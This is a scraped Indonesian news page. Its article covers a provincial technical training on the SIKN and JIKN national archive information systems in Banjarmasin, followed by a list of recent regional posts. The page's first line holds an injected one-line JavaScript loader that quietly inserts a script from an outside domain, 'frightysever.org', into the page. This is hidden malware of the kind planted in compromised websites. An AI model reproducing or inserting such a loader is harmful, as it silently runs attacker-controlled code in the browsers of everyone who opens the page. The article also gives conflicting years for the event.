(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Dispersip Kalsel Menggelar Bimtek SIKN-JIKN


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) menggelar bimbingan teknis Sistem Informasi Kearsipan Nasional (SIKN) dan Jaringan Informasi Kearsipan Nasional (JIKN) di Banjarmasin, Selasa (24/10/2023).

Bimtek diikuti 73 orang yang berasal dari 13 lembaga kearsipan daerah kabupaten/kota di Kalsel dan dibimbing dua narasumber dari Arsip Nasional Republik Indonesia (ANRI).

“Terdiri dari admin, verifikator, kontributor, serta penanggungjawab aplikasi SIKN-JIKN 13 lembaga kearsipan daerah kabupaten atau kota di Provinsi Kalimantan Selatan,” ungkap Kadispersip Kalsel Dra Nurlianie Dardie usai membuka kegiatan, Selasa (24/10/2024) siang.

Baca juga: Perbaikan Pipa Bocor di Jalan Pramuka, Berikut Wilayah Terdampak Seret Air 12 Jam

Kadispersip Kalsel mengatakan, pihaknya sebagai Lembaga Kearsipan Daerah (LKD) bertanggung jawab dalam pengelolaan arsip statis atau menyelamatkan arsip-arsip yang bernilai guna kesejarahan melalui sistem SIKN dan JIKN.

Menurutnya, SIKN dan JIKN akan memberikan rupa nyata pada visi penyelenggaraan kearsipan nasional yang menjadikan arsip sebagai simpul pemersatu bangsa.

“Dengan menyediakan akses yang luas dan mudah terhadap arsip dinamis dan statis SIKN dan JIKN dengan sendirinya mendukung upaya penegakanhHak warga negara untuk memperoleh informasi,” ujarnya.

Baca juga: Gubernur Kalsel Terima Penghargaan Proklim 2023 dari Menteri LHK

Sementara itu, Ketua Tim Pengembangan Layanan Konten SIKN dan JIKN Arsip Nasional RI Agung Gede Sumardika mengatakan, SIKN dan JIKN merupakan sistem kearsipan yang berada dibawah kendali Arsip Nasional RI (ANRI).

Dijelakan, arsip yang telah di proses digatilsasi dapat di input oleh Lembaga Kearsipan Daerah melalui aplikasi SIKN, kemudian masyarakat dapat mengaksesnya melalui JIKN yang dikelola Arsip Nasional.

“Ini untuk hak asasi masyarakat sebenarnya, masyarakat bisa mudah mengaksesnya,”pungkasnya.(Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Umat Katolik Gelar Misa Requiem Paus Fransiskus di Katedral Palangkaraya

KANALKALIMANTAN.COM, PALANGKARAYA - Sebagai bentuk dukacita yang mendalam dan penghormatan atas meninggal dunia Bapa Suci… Read More

7 menit ago

Festival Budaya Tingang Menteng Panunjung Tarung 2025 Resmi Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Memperingati Hari Jadi ke-219 Kota Kuala Kapuas dan Hari Ulang Tahun… Read More

4 jam ago

Aksi Pilah Sampah di Lingkungan Kantor PLN UP2B Kalselteng

KANALKALIMANTAN.COM, BANJARBARU - Hari Bumi yang diperingati setiap tanggal 22 April, Srikandi PLN UP2B (Unit… Read More

13 jam ago

Ritual Laluhan dan Ngarunya di Perayaan Hari Jadi ke-219 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-219 Kota Kuala Kapuas dan Hari Ulang… Read More

13 jam ago

Hari Buku Sedunia, YBM dan Srikandi PLN UP2B Kalselteng Berbagi Buku Bacaan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Buku Sedunia, Yayasan Baitul Maal (YBM) bersama Srikandi PLN UP2B… Read More

14 jam ago

Peringatan Hari Kartini di HSU, Ini Pesan Bupati H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI - Bupati Hulu Sungai Utara (HSU) H Sahrujani mengingatkan semangat Hari Kartini menjadi… Read More

14 jam ago